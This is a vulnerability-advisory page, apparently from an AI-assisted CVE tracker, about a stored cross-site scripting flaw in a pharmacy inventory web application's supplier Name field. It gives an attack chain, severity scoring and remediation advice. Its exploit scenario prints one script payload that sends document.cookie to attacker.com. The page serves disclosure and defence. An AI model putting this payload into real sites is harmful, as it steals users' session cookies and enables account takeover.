Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain high-privilege credentials
-
DeliveryAccess supplier management endpoint
-
ExploitInject XSS payload in Name parameter
-
ExecutionVictim views poisoned supplier record
-
PersistMalicious script executes in victim's session
-
ImpactAttacker steals session data or performs privileged actions
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires three specific conditions: (1) the attacker must possess high-privilege credentials (PR:H from CVSS vector indicates admin or high-role user access is mandatory), (2) the vulnerable endpoint /index.php?page=supplier must be accessible and not rate-limited or restricted by network controls, and (3) a victim user must interact with the poisoned supplier record (UI:P requires user click or page view). The vulnerability does not affect unauthenticated users and does not execute in default configurations if access controls are properly enforced. The SourceCodester application must be deployed and the supplier management feature must be enabled. This is NOT remotely exploitable by anonymous attackers-the high privilege requirement means inside threats (staff with admin roles, compromised admin accounts) are the primary risk vector. |
| Impact | This vulnerability presents LOW-TO-MODERATE real-world risk despite the publicly available POC. The CVSS score of 4.8 reflects significant mitigating factors: PR:H (requires high-privilege user to inject payload) and UI:P (requires user interaction to trigger). The EPSS exploitation probability is likely moderate given public POC availability, but the high privilege requirement substantially narrows the attack surface. The vulnerability is not listed in CISA KEV (inferred from absence of KEV confirmation), indicating no confirmed active exploitation at scale. The VC:N/VI:L/VA:N impact scope means only data integrity within supplier records is at risk, not system confidentiality or availability. The SC:N (scope not changed) indicates the impact remains within the application context. Organizations using this legacy system should prioritize patching, but this does not represent an enterprise-wide critical threat like an unauthenticated RCE. However, insider threats (high-privilege users injecting malicious content) or compromised admin accounts represent realistic attack chains. |
| Exploit ScenarioDerived | An attacker with high-privilege access (e.g., a compromised admin account or malicious staff member) navigates to /index.php?page=supplier and enters a malicious payload like <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> in the supplier Name field, then saves the record. When other authenticated users view the supplier list, the injected script executes in their browser, stealing session cookies or performing actions on their behalf. Alternatively, the attacker crafts a URL with embedded XSS payload and tricks a high-privilege user into clicking it. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 28, 2026
Stored cross-site scripting (XSS) in SourceCodester Pharmacy Sales and Inventory System 1.0 allows authenticated remote attackers with high privileges to inject malicious scripts via the Name parameter in the supplier management function (/index.php?page=supplier), affecting users who view the poisoned supplier records. The vulnerability requires user interaction (clicking a malicious link) and has CVSS 4.8 with publicly available proof-of-concept code, though it is limited to high-privileged users (PR:H) and causes only integrity impact (VI:L) without confidentiality or availability compromise.
RemediationAI
Immediate remediation requires input validation and output encoding: sanitize the 'Name' parameter in the supplier management function using a PHP whitelist-based validation function or HTML entity encoding (htmlspecialchars() with ENT_QUOTES flag) before storing or displaying supplier names. Implement a Content Security Policy (CSP) header with script-src 'self' to mitigate reflected XSS impact if input sanitization is incomplete. For SourceCodester, check https://www.sourcecodester.com/ for a patched version; if none exists, consider migrating to a maintained pharmacy inventory system with security-first design. As a temporary compensating control, restrict access to the /index.php?page=supplier endpoint to specific IP ranges or require additional authentication steps for supplier data modification. Note that CSP mitigation may impact legitimate inline scripts in the application; coordinate with development before deployment.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This is a reflected or stored cross-site scripting vulnerability (CWE-79) in a PHP-based inventory management application. The vulnerability exists in the supplier management endpoint where user-supplied input in the 'Name' parameter is not properly sanitized or encoded before being reflected in HTTP responses or stored in the database. The affected CPE (cpe:2.3:a:sourcecodester:pharmacy_sales_and_inventory_system) indicates this is a web application vulnerable in its core supplier module. The attack leverages inadequate input validation and output encoding in PHP, a common pattern in legacy or poorly-maintained CRUD applications that directly interpolate user input into HTML contexts without escaping or using parameterized approaches.
Know when Pharmacy Sales And Inventory System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
6DescriptionCVE.org
A vulnerability was determined in SourceCodester Pharmacy Sales and Inventory System 1.0. The impacted element is the function supplier of the file /index.php?page=supplier. Executing a manipulation of the argument Name can lead to cross site scripting. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Pharmacy Sales And Inventory System v1.0 is vulnerable to SQL Injection via /pharmacy-sales-and-inventory-system/manage_
Unauthenticated remote information disclosure in SourceCodester Pharmacy Sales and Inventory System 1.0 allows network-b
SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to execu
SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to read,
SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to extra
SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to execu
SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 exposes the `/ajax.php?action=save_product` endp
SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to read,
SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to execu
SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to execu
SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to extra
SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows unauthenticated remote attackers to extra
EUVD-2026-26051
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB